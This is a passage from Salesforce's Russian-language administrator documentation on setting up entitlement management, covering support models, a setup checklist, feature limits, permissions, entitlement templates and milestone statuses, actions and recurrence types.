Важное замечание: Включение, создание и обновление элементов управления правами доступно только при
наличии консоли Service Cloud.

СМ. ТАКЖЕ:

Планирование для управления правами

Контрольный список для настройки функций управления правами

Планирование для управления правами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Процессуправленияправамиможнонастраивать. Преждечемначатьпроцесснастройки,
следует выбрать модель управления правами.

Выбор элементов для определения права на поддержку
Настройкапроцесса управленияправамипозволяет установитьналичие у клиентаправа
на поддержку на основе одного или нескольких из нижеперечисленных типов записей.

• Организации: право на поддержку предоставляется любому контакту организации.

• Контакты: право на поддержку предоставлено определенным контактам.
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• Активы: право на поддержку предоставлено определенным активам (приобретенным продуктам).

• Сервисные контракты: клиенты имеют право на поддержку на основе конкретного сервисного контракта.

• Элементыстрокиконтракта:правонаподдержкураспространяетсянаопределенныепродукты, указанныев сервисном
контракте.

План действий зависит от требуемой степени детализации процесса поддержки. Если процесс должен быть простым,
пусть агенты службыподдержкиопределяютправонаподдержкуна основе организаций. Процесс выглядит следующим
образом

Выбор модели настройки
Ниже описаны три способа настройки управления правами. После выбора элемента, определяющего наличие права на
поддержку, рассмотрите тримоделиивыберитенаиболее соответствующуюбизнес-требованиям. Используемуюмодель
можно заменить в любой момент.

Критерии использования моделиЭлемент, определяющий наличие
права на поддержку

Модель права

Агентыслужбыподдержкиопределяют
наличие у клиентаправа наподдержку

Только права (простейший вариант) • Необходимость управления
правами клиента как частью
сервисного контракта отсутствует.на уровне организации, контакта или

актива.
• Права не подлежат продлению.

• Права не приобретаются
клиентами отдельно, а
предоставляются вместе с
продуктами (гарантии).

• Клиентам предоставлены
краткосрочные права, управление

2955

Планирование для управления правамиНастройка и обслуживание инструментов службы поддержки



Критерии использования моделиЭлемент, определяющий наличие
права на поддержку

Модель права

которыми осуществляется
раздельно.

Агентыслужбыподдержкиопределяют
наличие у клиентаправа наподдержку
на основе сервисного контракта.

Права + сервисные контракты • Права приобретаются и
управляются отдельно от
продуктов, на которые они
распространяются, и являются
частью сервисного контракта.

• Права клиентов подлежат
пакетному продлению на уровне
контракта.

• Система Salesforceиспользуетсядля
поддержки клиентов, но не
обязательно для управления
сервисными контрактами.

Агентыслужбыподдержкиопределяют
наличие у клиентаправа наподдержку

Права + сервисные контракты +
элементы строки контракта (наиболее
сложный вариант)

• Система Salesforceиспользуетсядля
поддержки клиентов и управления
их сервисными контрактами.на основе продуктов, указанных в

сервисном контракте.
• Служба поддержки управляет

транзакциями сервисных
контрактов (например, переносами,
объединениями и продлениями).

• Гарантии, подписки и другие
продуктыподдержкиотображаются
как элементы строки заказа и
соотносятся как минимум с одним
правом.

• Права создаются и обновляются
посредством интеграции с
системой управления заказами.

Независимо от выбранной модели настройки, процесс поддержки можно дополнить другими функциями управления
правами. Например, выполните указанные ниже действия.

• Создание процессов права для выполнения требуемых этапов, зависимых от времени, в ходе процесса поддержки.

• Управление версиями прав, чтобы создавать и использовать несколько версий процессов права.

• Добавление прав сообществам

• Отчеты по правам
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Послевыборамоделинастройкиперейдитекразделу «Контрольныйсписокдлянастройкифункцийуправленияправами».

СМ. ТАКЖЕ:

Что такое управление правами?

Контрольный список для настройки функций управления правами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки функции
управления правами:
• «Управление правами»

При настройке управления правом на использование именно вы принимаете решение
о том, какимифункциями будете пользоваться. Используйте этот контрольный список,
чтобы подтвердить, что настройка управления правами на использование функций
соответствует вашим процессам оказания услуг поддержки.

Завершено, если...Действие

Вы думаете о том, чтобы начать
использоватьправанаиспользование в
вашей организации.

Прочитайте раздел «Планирование
управления правами на использование»

Вам требуется, чтобы права клиента на
получение услуг поддержки
определяласьна уровне учетнойзаписи
или контакта.

Настройка прав на использование

Вам требуется использовать права в
пределах организации.

Включитьправанаиспользование

Вамтребуется управлять тем, какиеполя
видны пользователям в разделе прав и
как и где пользователи связывают свои
права с другими записями.

Настройка прав на использование

Вамтребуетсяуправлятьтем, какиеправа
и активы будут доступны для привязки
пользователями к обращению.

Настройка фильтров поиска для
прав и активов для обращений

Вам требуется предоставить
пользователям необходимые
разрешения, доступ кполями вкладкам.

Предоставление пользователям
доступа к функции управления
правами

Вамтребуется задатьусловияподдержки
для отдельных продуктов.

Настройка шаблона для прав на
использование

Вамтребуетсяисправитьправо, которое
будет автоматически добавляться к

Автоматическое добавление прав
к обращениям из Интернета,
сообщений эл. почты и сообществ обращениям, созданным при помощи

средств Web-to-Case, Email-to-Case или
сообществ.

Вамтребуетсязадатьнеобходимыешаги,
которые необходимо завершить

Настройка контрольных точек

специалистам службы поддержки для
закрытия обращения.
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Завершено, если...Действие

Вам требуется управлять тем, какие поля контрольных
точек будут доступны для просмотра пользователями.

Пользовательскаянастройкамакетов страницдля
контрольных точек

Вам требуется добавлять автоматические уведомления
в поток обращения и на страницу профиля владельца

Включение элементов ленты контрольной точки

обращения при завершении или нарушении условий
контрольной точки.

Вам требуется, чтобы ваши специалисты поддержки
могли видеть список предстоящих и закрытых

Настройка средства отслеживания контрольных
точек

контрольныхточек, а такжетаймерыобратногоотсчета
для активных и просроченных контрольных точек для
обращений.

Вам требуется предотвратить изменение контрольных
точек пользователями в случаях, когда это не
соответствует определенным критериям.

Ограничить обновление контрольных точек для
пользователей

Вамтребуется задатьнеобходимыйшагдляобеспечения
процесса управления обращением.

Создать контрольную точку

Вам требуется, чтобы контрольные точки отмечались
как завершенные для обращений, соответствующих
уникальным критериям.

Автозаполнение контрольных точек обращения

Вам требуетсяприменитьнеобходимыешагипроцесса
управления обращением к отдельным обращениям.

Настройка процесса права

Вам требуется создать временные рамки, содержащие
все шаги, которые должны завершить специалисты
поддержки для успешного разрешения обращения.

Создание процесса права

Вамтребуется управлять тем, какиеполяпроцессаправа
наиспользованиевидныпользователямдляобращений.

Настройка полей обработки прав на
использование

Вам требуется указать, какие необходимые шаги
процессапредоставленияподдержкиикогда, впределах
заданных временных рамок, должны произойти.

Добавление контрольной точки в процесс права

Вам требуется определить действия бизнес-правила,
зависящие от времени, которые должны выполняться

Добавление действия контрольной точки в
процесс, права

на каждом этапе (для завершения контрольной точки)
в процессе права, которые будут выполняться в случае
приближения возможного нарушения, нарушения или
завершения сроков выполнения условий контрольной
точки.

Вам требуется, чтобы обращения, связанные с
определеннымпредоставленнымправом, выполнялись

Применениепроцессаправа к предоставленному
праву

в соответствии с этапами, определенными в процессе
права.
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Завершено, если...Действие

Вам необходимо обновить процесс права.Создание новой версии процесса права

Вамтребуетсяприменитьновуюверсиюпроцессаправа
к новым или существующим правам на услуги.

Использование новой версии процесса права

Вам требуется, чтобыправа клиентанаполучение услуг
поддержки определялись на уровне контакта на
обслуживание.

Настройка контрактов на обслуживание

Вам требуется возможность ограничения контракта на
обслуживание для отдельных продуктов.

Настройка элементов строки контракта

Вам требуется, чтобы клиенты или партнеры могли
просматриватьсвоиправаиконтрактынаобслуживание,
а также создавать из них обращения.

Настройка управления правами в сообществах

Вамтребуетсяпросматриватьисовместноиспользовать
данные о правах и контрактах на обслуживание.

Отчет о правах

Необходимо, чтобыспециалистыподдержкипонимали
следующее:

Предоставьте вашим специалистам рекомендации по
управлению правами.

• как проверить право клиента на предоставляемые
услуги поддержки;

• как связывать обращения с правами на получение
услуг;

• как процессы права отражаются на процессе
удовлетворения обращений.

СМ. ТАКЖЕ:

Планирование для управления правами

Ограничения для функций управления правами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Следующие ограничения применяются к правам и соответствующимфункциям.

Ограничения прав

• Каждое право должно быть связано с организацией.

• Общийдоступдляправнеподдерживается. Праванаследуютпараметрыобщего
доступа, заданные в родительской организации.

• Правапообращениямнеподдерживаютполя слияния. Например, поле слияния
«Имя права {!Case.Entitlement}», добавленное в шаблон эл. почты, не
заполняется в шаблоне.

• Контакты права не имеют макетов страниц, макетов поиска, кнопок, ссылок и
типов записей.
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• Права не могут автоматически применяться к обращениям, созданным посредством функции Web-to-Case или
Email-to-Case. Чтобыдобавитьправа в данныефункции, воспользуйтесь кодомApex.Пример триггера см. в разделе
Стандартное право для обращения с триггерами.

Ограничения для контрольных точек

• Контрольные точки не могут быть добавлены в обращения без использования процессов права. Процессы права
применяют контрольные точки к обращениям.

• Организация может иметь до 1000 процессов права и до 10 контрольных точек на процесс. Максимальное
количество процессов права может быть меньшим, если организация создана до появления выпуска Summer'13.
Для увеличения этого количества следует обратиться к Salesforce.

• Статус «Завершено» неприсваивается контрольнымточкамавтоматически. Принеобходимостиможнонастроить
автоматическое присвоение статуса выполнения контрольным точкам для обращений, которые соответствуют
уникальнымкритериям. Дополнительнуюинформациюсм. вразделе «Автоматическоевыполнениеконтрольных
точек обращения».

• После активации процесса права невозможно обновление и удаление контрольных точек, а также действий
контрольныхточек. Однакоможносоздаватьновыеверсиипроцессовправа сразнымипараметрамиконтрольных
точек и применять новые версии к существующим правам.

• Внаборахизмененийнеподдерживаетсяпараметрчасовработыпопроцессуправа. Используйтеодинизуказанных
ниже методов при необходимости перевести процесс права с часами работы из одной организации Salesforce в
другую.

– Создание процесса права для новой организации «с нуля»

– Использование альтернативного метода для перевода процесса права, например Force.com Migration Tool

– Удаление параметра рабочих часов из процесса права перед добавлением в набор изменений

Ограничения для элементов строки контракта

• Элементы строки контракта доступны пользователям только в том случае, если организация использует объект
«Продукты».

• Элементы строки контракта не поддерживают создание списковых представлений.

• Элементы строки контракта не поддерживают общий доступ. Элементы строки контракта наследуют параметры
общего доступа к контрактам, заданные в родительской организации. Например, пользователи с полномочием
«Чтение» для сервисных контрактов наследуют полномочие «Чтение» для элементов строки контракта.

СМ. ТАКЖЕ:

Контрольный список для настройки функций управления правами

Настройка процесса права
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Настройка прав

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Права — это элементы поддержки пользователей в системе Salesforce (например,
«поддержка по телефону» или «интерактивная поддержка»). Настройка прав в
организациипозволяетагентамслужбыпроверкипроверятьналичиеправанаподдержку
у клиента.

1. Включение прав
Включите права в организации, чтобы агенты службы поддержки предоставляли
клиентам соответствующий уровень обслуживания.

2. Настройка прав
Рекомендуем настроить поля прав и макеты страниц в соответствии с текущими
бизнес-требованиями и алгоритмом работы агентов.

3. Настройка прав и фильтров поиска активов для обращений
Настройка фильтров поиска для полей обращения, связанных с правами, выполняется, чтобы ограничить права,
которые пользователи могут выбрать для обращения.

4. Предоставление пользователям доступа к функции управления правами
После настройки функции управления правами убедитесь, что пользователи обладают соответствующими
полномочиями, доступом к полям и вкладкам.

5. Настройка шаблона для права
Шаблоны прав позволяют заранее задать условия поддержки для пользователей, которые те смогут добавлять в
продукты.

6. Автоматическое добавление прав в обращения из сети, сообщения эл. почты и сообщества
Праванемогут автоматическиприменятьсякобращениям, созданнымпосредствомфункций Web-to-Case, Email-to-Case
или сообществ. Чтобы добавить права в данные функции, воспользуйтесь кодом Apex.

Включение прав

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения прав:
• «Управление правами»

Включитеправаворганизации, чтобыагентыслужбыподдержкипредоставляликлиентам
соответствующий уровень обслуживания.

1. Введите строку «Параметры права» в поле «Быстрый поиск» в меню «Настройка»,
затем выберите пункт «Параметры права».

2. Выберите «Включить управление правами».

3. Нажмите кнопку «Сохранить». Осуществится переход на страницу, где можно
настроитьпараметрыуправленияправами. Этипараметрыбудут установленыпозже
в процессе настройки управления правами.
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Настройка прав

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактированиямакетов
страниц и настройки
отслеживания журнала
полей:
• «Настройка

приложения»

Рекомендуем настроить поля прав и макеты страниц в соответствии с текущими
бизнес-требованиями и алгоритмом работы агентов.

1. Настройте поля прав.

Данное действие позволяет контролировать информацию, которую пользователи
добавляют к правам

Совет: Создайте настраиваемые поля прав, соответствующие отрасли или
процессам поддержки. Например:

• Чтобысопоставитьтипыправ, поддерживаемыерабочейгруппой, настройте
значения для поля права «Тип»  (например, интерактивная поддержка или
интерактивное обучение).

• Есликомпанияоплачиваетпродлениеправ, создайтеполе валютыпоправу
с названием «Затраты на продление».

2. Настройте макеты страниц прав.

Данноедействиепозволяетопределятьполяисвязанныеспискидляправ, доступные
для просмотра пользователям. Рассмотрите возможность изменить следующие
настройки.

• Добавьте поле «Значок статуса», чтобы отображать для пользователей один из
статусов: активный, истек срок действия или неактивный.

• Чтобы ограничить количество обращений по праву, добавьте указанные ниже
поля в макеты страниц прав.

ОписаниеПоле

Данное поле позволяет ограничить количество
обращений, доступныхдляодногоправа.Рекомендуем

По инциденту

при использовании этого поля установить в качестве
параметров безопасности полей «Обращения по
инциденту» и «Оставшиеся обращения» статус
доступных только для чтения пользователям, которые
не должны изменять параметры поддержки по
инциденту.

Общее количество обращений по одному праву.Обращения по праву

Количество обращений по одному праву. Значение
данного поля уменьшается на единицу при каждом
создании обращения с правом.

Оставшиеся обращения

• Добавьте связанные списки «Обращения» и «Контакты», чтобы позволить пользователям выполнять следующие
действия.

– Просматривать обращения и контакты, связанные с правами

– Создавать обращения, которые автоматически связываются с нужными правами
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– Добавлять контакты в права

3. Настройтефункцию отслеживанияжурнала поля для прав.

Данное действие позволяет просматривать время изменения значений полей. Изменения указываются в связанном
списке «Журнал права» для прав. Вразделе настроек управления объектами для прав перейдите в раздел полей, затем
нажмите кнопку «Настроить отслеживаниежурналов».

4. Настройте макеты страниц других объектов.

• Добавьте поле поиска «Имя права» в макеты страниц обращений. Данное действие позволяет пользователям
добавлять права в обращения.

• Добавьте связанный список «Права» в макеты страниц других объектов.

Критерии просмотра и создания правДобавление связанного списка «Права» в макеты
страниц объекта...

Правонаподдержкупредоставляетсялюбомуконтакту
организации

Организации

Право на поддержку предоставлено определенным
контактам

Контакты

Право на поддержку предоставлено определенным
активам (приобретенным продуктам)

Активы

Связанныйсписок «Права» содержитссылку «Создатьобращение», позволяющуюсоздаватьобращения, которые
автоматически содержат нужные права. Сведения о любой организации, контакте или активе, указанные в праве,
добавляются в обращение автоматически.

5. Предоставление доступа ко вкладке «Права» в системе Salesforce и любом настраиваемом приложении.

Создание и редактирование прав выполняется на вкладке «Права». Добавьте вкладку «Права» в приложение или
порекомендуйте пользователям добавить ее в текущий набор вкладок системы Salesforce. Просмотр вкладки «Права»
доступен только для пользователей с полномочием «Чтение» для прав.
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Настройка прав и фильтров поиска активов для обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки фильтров
поиска, связанных с
правами, для обращений:
«Управление правами»
• «Управление правами»

Настройка фильтров поиска для полей обращения, связанных с правами, выполняется,
чтобы ограничить права, которые пользователи могут выбрать для обращения.

Например, если пользователи сообщества создают обращение и используют поиск по
полю «Имя права», можно настроить фильтры поиска так, чтобы для выбора были
доступны только права, зарегистрированные для их организации или контакта.

1. Введите строку «Параметры права» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Параметры права».

2. Выберите нужные элементы.

Отображаемый
результат

ЩелчокПоле поиска для
обращений

Активы, принадлежащие
организации обращения.

Одинаковая организация
для обращения

Актив

Совет: Чтобы
гарантировать
отображение всех
активов, имеющих
общий доступ к
организации
обращения,
выберите только
данное значение.

Активы, принадлежащие
контакту обращения.

Одинаковый контакт для
обращения

Активы, связанные с
правами, которые

Права для организации
обращения

принадлежаторганизации
обращения.

Активы, связанные с
правами, которые связаны
с контактом обращения.

Права для контакта
обращения

Права, поле «Статус»
которых содержит
значение «Активно».

Активный статусПраво

Права, связанные с
организациейобращения.

Одинаковая организация
для обращения

Права, связанные с
активом обращения.

Одинаковый актив для
обращения

Права, связанные с
контактом обращения.

Одинаковый контакт для
обращения
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Выбор нескольких элементов действует как функция «И», поэтому чем больше элементов выбрано, тем больше
ограничений для отображаемых значений. Например, значения «Одинаковая организация для обращения» и
«Одинаковый контакт для обращения» ограничивают элементы, возвращаемые полем поиска «Актив», только
активами, зарегистрированными как для организации, так и для контакта обращения.

Совет: Выберите элементы, которые соответствуют способу проверки агентами наличия у клиента права на
поддержку. Например, если агенты службы поддержки выполняют проверку на основе организаций, выберите
элементы, связанные с организацией.

3. Нажмите кнопку «Сохранить».

Предоставление пользователям доступа к функции управления правами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования
пользователей:
• «Управление

внутренними
пользователями»

После настройкифункции управления правами убедитесь, что пользователи обладают
соответствующими полномочиями, доступом к полям и вкладкам.

1. Назначьте пользователям полномочия для управления правами.

Для следующих
стандартных профилей
полномочия
настраиваются
автоматически.

Необходимые
полномочия

Действие

Системный
администратор

«Управление правами»

И

«Настройка приложения»

Настройка функции
управления правами,
включая контрольные
точки, процессы права и
шаблоны права

Системный
администратор

«Настройка приложения»

И

«Создание и настройка
сообществ»

Предоставление
сообществу функций
управления правами

Системный
администратор

«Управление типами
настраиваемых отчетов»

Созданиеилиобновление
типов настраиваемых
отчетов, использующих
функцию управления
правами

Только для чтения |
Стандартный

«Создание и настройка
отчетов»

Создание и выполнение
отчетов на основе типов
настраиваемые отчетов, пользователь | Менеджер
использующихфункцию
управления правами

решений | Менеджер
контрактов | Пользователь
Marketing | Системный
администратор
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Для следующих стандартных
профилей полномочия
настраиваются автоматически.

Необходимые полномочияДействие

Стандартный пользователь |
Менеджер решений | Менеджер

«Создание» для обращений

И

Создание обращений с правами

контрактов | Пользователь Marketing
| Системный администратор«Чтение» для прав

Стандартный пользователь |
Менеджер решений | Менеджер

«Редактирование» для обращений

И

Изменение прав для обращений

контрактов | Пользователь Marketing
| Системный администратор«Чтение» для прав

Только для чтения | Стандартный
пользователь | Менеджер решений |

«Чтение» для правПроверка или просмотр прав

Менеджерконтрактов | Пользователь
Marketing | Системныйадминистратор

Нет: включите полномочие в наборе
полномочий или настраиваемом
профиле

«Создание» для правСоздание прав

Нет: включите полномочие в наборе
полномочий или настраиваемом
профиле

«Редактирование» для правИзменение прав

Только для чтения | Стандартный
пользователь | Менеджер решений |

«Чтение» для контактов праваПросмотр контактов права

Менеджерконтрактов | Пользователь
Marketing | Системныйадминистратор

Нет: включите полномочия в наборе
полномочий или настраиваемом
профиле

«Создание» для контактов права

И

«Удаление» для контактов права

Изменение контактов права

Только для чтения | Стандартный
пользователь | Менеджер решений |

«Чтение» для сервисных контрактовПроверка или просмотр сервисных
контрактов

Менеджерконтрактов | Пользователь
Marketing | Системныйадминистратор

Нет: включите полномочие в наборе
полномочий или настраиваемом
профиле

«Создание» длясервисныхконтрактовСоздание сервисных контрактов

Нет: включите полномочие в наборе
полномочий или настраиваемом
профиле

«Редактирование» для сервисных
контрактов

Изменение сервисных контрактов

Только для чтения | Стандартный
пользователь | Менеджер решений |

«Чтение» для элементов строки
контракта

Проверка или просмотр элементов
строки контракта
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Для следующих стандартных
профилей полномочия
настраиваются автоматически.

Необходимые полномочияДействие

Менеджерконтрактов | Пользователь
Marketing | Системныйадминистратор

Нет: включите полномочия в наборе
полномочий или настраиваемом
профиле

«Редактирование» для сервисных
контрактов

И

Добавление элементов строки
контракта в сервисные контракты

«Создание» для элементов строки
контракта и «Чтение» для продуктов
и прайс-листов

Нет: включите полномочия в наборе
полномочий или настраиваемом
профиле

«Редактирование» для сервисных
контрактов

И

Изменение элементов строки
контракта в сервисных контрактах

«Редактирование» для элементов
строки контракта и «Чтение» для
продуктов и прайс-листов

Совет: Если стандартный профиль, который требуется использовать, не содержит полномочия пользователя,
создайте набор полномочий и включите в нем полномочие. Как вариант, клонируйте стандартный профиль и
включите полномочие в настраиваемом профиле.

2. Настройте параметры безопасности поля.

Выберите поля функции управления правами, которые должны быть доступны пользователям для просмотра и
редактирования. Параметры безопасности поля позволяют определять уровень доступа пользователей к полям на
страницахпросмотраиредактированиясведений, в связанныхсписках, списковыхпредставлениях, отчетах, результатах
поиска, шаблонах эл. почты ишаблонах стандартных писем, а также в сообществах. Безопасность поля может быть
задана в наборе полномочий, профиле или отдельном поле.
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Настройка шаблона для права

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы создать шаблоны
права, выполните указанные
ниже действия.
• «Управление правами»

Шаблоныправпозволяютзаранее задатьусловияподдержкидляпользователей, которые
те смогут добавлять в продукты.

Вы можете создаватьшаблоны прав для конкретных продуктов, чтобы специалисты по
поддержке могли быстро добавлять нужные права при приобретении клиентом того
или иного продукта. Например, создайте шаблоны права для веб-поддержки или
поддержки по телефону, чтобы разрешить агентам добавление прав в продукты,
предложенные клиентам.

Приобретенныеили установленныепродукты в Salesforce представленыкак активы. Это
означает:

• Продукт (например «лазерный сканер») связан с шаблоном права

• Соответствующий актив (например, лазерный сканер, приобретенный ABC Labs)
связан с правом, созданным при помощишаблона права

Прим.: Шаблоны права доступны, только если права и продукты включены в
вашей организации.

1. Добавьте связанныйсписок «Шаблоныправа» вмакетыстраницконтактаипродукта.

2. Дополнительно в связанный список «Шаблоны права» вы можете добавить поля
«Тип» и «Часы работы». Данноедействиепозволяетпользователямпросматривать
тип права (например, веб-поддержка или поддержка по телефону) и часы работы,
применяемые к праву.

3. Создайте шаблон права.

a. Введите строку «Шаблоны» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Шаблоны права».

b. Нажмите кнопку «Создатьшаблон».

c. Заполните поля.

ОписаниеПоле

Имяшаблона права.

Используйте имя-описание, например «Телефонная
служба поддержки». Описательноеимядаетпользователям

Имя шаблона права

общеепредставлениеошаблонахправаприпросмотре
связанных списков продуктов.

Количество дней действия права.

Например, если вы хотите, чтобышаблон права
предоставлял всем клиентам, приобретающим

Срок (в днях)

конкретныйпродукт, правона телефоннуюподдержку
в течение 90 дней, введите 90.

Процесс права, связанный с правом.Процесс права

Данное поле позволяет ограничить количество
обращений, доступных для одного права.

По инциденту
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ОписаниеПоле

Администратор принимает решение о том, будет ли
видимо это поле.

Общее количество обращений по одному праву.

Данное поле доступно только в том случае, если
заполнено поле «По инциденту».

Обращения по праву

Часы, в течение которых доступна поддержка права.Часы работы

Тип права (например, веб-поддержка или поддержка
по телефону).

Значения данного поля могут быть настроены
администратором.

Тип

4. Нажмите кнопку «Сохранить».

5. Добавление шаблона права для определенного продукта.

a. Перейдите на страницу со сведениями о продукте.

b. ЩелкнитеДобавитьшаблон права в связанном списке «Шаблоны права».

c. Выберите шаблон права.

d. Нажмите кнопкуВставить выбранные.

e. Нажмите кнопку «Готово».

Теперь, когда пользователь создаст актив и свяжет его с этим продуктом, связанный список Права для этого актива
включаетправо, созданноеизшаблонаправа. Такимобразом, специалистыслужбыподдержки, отвечающиена вызов,
связанный с активом, смогут быстро увидеть, на какую поддержку может претендовать клиент.
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Автоматическое добавление прав в обращения из сети, сообщения эл. почты и
сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения триггеров
Apex:
• «Автор Apex»

Права не могут автоматически применяться к обращениям, созданным посредством
функций Web-to-Case, Email-to-Case или сообществ. Чтобы добавить права в данные
функции, воспользуйтесь кодом Apex.

Пример триггера см. в разделе Стандартное право для обращения с триггерами.

СМ. ТАКЖЕ:

Настройка процесса права

Контрольные точки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Контрольныеточкипредставляютнеобходимые, зависимыеот времениэтапыпроцесса
поддержки (например, первый ответ или периоды принятия решения по обращению).
Контрольные точки добавляются к процессам права, чтобы обеспечить корректную и
своевременную обработку обращений агентами.

Процесс права может содержать до 10 контрольных точек. При необходимости
контрольная точкаможет выполняться толькоодинраз илиповторяться до завершения
процесса права.

Ниже демонстрируется, как контрольные точки встроены в процесс поддержки.
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Просмотрите текущие контрольные точки для организации на странице «Контрольные точки» в пункте «Управление
правами» раздела «Настройка». Связанные контрольные точки также перечислены в связанном списке «Контрольные
точки» для прав и процессов права.

Совет: Для просмотра списка обращений с контрольными точками создайте следующее.

• Настраиваемые отчеты с использованием типа отчета «Обращения с контрольными точками»

• Представления списка обращений с фильтрацией по полям контрольных точек

Перед использованием контрольных точек в процессе поддержки см. раздел «Ограничения для контрольных точек» на
странице 2959.

СМ. ТАКЖЕ:

Настройка контрольных точек

Статус контрольной точки

Типы повторения контрольных точек

Действия контрольных точек

Статус контрольной точки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Для контрольных точек обращений отображается одно из трех значений статуса.

ПримерЗначениеСтатус

Первый ответ по
обращению отправлен без
нарушений.

Контрольные точки
обращениявыполненыили
выполняются без
нарушений.

 «Совместимо»

Важное замечание:
Контрольные точки
новых обращений
отображаются со

2971

Статус контрольной точкиНастройка и обслуживание инструментов службы поддержки



ПримерЗначениеСтатус

статусом «Совместимо», так как
выполняются без нарушений.

Назначенный агент не выполнил
первый ответ на обращение до

Одна или несколько контрольных
точек обращения нарушены, и этапы
процесса поддержки не завершены.

 «Открыто с нарушением»

завершения срока действия
контрольной точки.

Назначенныйагент выполнилпервый
ответнаобращениепосле завершения
срока действия контрольной точки.

Одна или несколько контрольных
точек обращения выполнены с
нарушением, но все этапы процесса
поддержки выполнены.

 «Закрыто с нарушением»

СМ. ТАКЖЕ:

Процессы права

Добавление контрольной точки в процесс права

Действия контрольных точек

Действия контрольных точек

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Действия контрольной точки — это зависимые от времени действия бизнес-правила,
которые выполняются для контрольной точки в процессе права. После того как
контрольная точка добавлена к процессу права, пользователь может добавить действия.

Например, можно создать действие контрольной точки, выполняющее следующее.

• Отправка электронного предупреждения определеннымпользователям за один час
до возможного нарушения контрольной точки «Первый ответ»

• Обновление определенных полей обращения через одну минуту после успешного
завершения контрольной точки «Первый ответ»

Ниже описаны типы действий, которые могут быть добавлены в контрольные точки.

ОписаниеТип действия

Действия, которые должны быть выполнены при
успешном завершении контрольной точки. Действия

Действия успешного
завершения

успешного завершения реализуются для контрольных
точек, закрывающихся позже.

Действия, которые должны быть выполнены при
возможном нарушении контрольной точки.

Действия
предупреждения

Действия, которые должны быть выполнены при
нарушении контрольной точки.

Действия нарушения

Ниже перечислены действия, которые могут быть автоматизированы.
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ПримерВыполняемые функцииДействие бизнес-правила

Создание задачи для агента службы
поддержки, которыйдолженпозвонить

Создание задачи бизнес-правилаСоздать задачу

клиенту при нарушении контрольной
точки «Первый ответ».

Уведомление ответственных за
обращение, есливозможнонарушение

Создание электронного
предупреждения

Создать сообщение эл. почты

контрольнойточки «Первыйответ» по
их обращению.

Обновление поля обращения
«Приоритет» на значение «Высокий»,

Определение обновления поляСоздать обновление поля

если возможно нарушение
контрольной точки «Первый ответ».

Отправка сведений о функциях или
услугах во внешнюю систему после

Определение исходящего сообщенияСоздать исходящее сообщение

успешного завершения действия по
контрольной точке «Первый ответ».

Использованиетекущегоэлектронного
предупреждения для уведомления

Выбор текущего действияВыбрать текущее действие

ответственного за обращение, если
обращение близко к нарушению
правила отправки первого ответа.

СМ. ТАКЖЕ:

Добавление действия контрольной точки в процесс права

Процессы права

Движение обращения по процессу назначения права

Типы повторения контрольных точек

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

При создании контрольной точки необходимо выбрать тип повторения. В данном
разделе указаны значения и область применения для каждого типа повторения.

В системе Salesforce поддерживается три типа повторения.

ПримерыОпределение даты
начала

ЗначениеТип повторения

«Первый ответ»

«Время принятия
решения»

Дата начала — это
время наступления
соответствия
критериев
контрольной точки
критериям
обращения.

Контрольная точка
выполняется по
обращению только
один раз.

Без повторения
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ПримерыОпределение даты началаЗначениеТип повторения

«Время ответа»Дата начала — это время
наступления соответствия

Контрольная точка
выполняется при каждом

Независимо

критериев контрольнойсоответствии критериев
точкикритериямобращения,контрольной точки

критериям обращения. независимо от времени
завершения предыдущего
экземпляра.Прим.:

Одновременноможет
быть активен только
один экземпляр
независимо
повторяемой
контрольной точки.

«Предпринятый контакт с
клиентом»

Дата начала для первого
выполнения — это время
наступления соответствия

Контрольная точка
выполняется при каждом
соответствии критериев

Последовательно

критериев контрольной
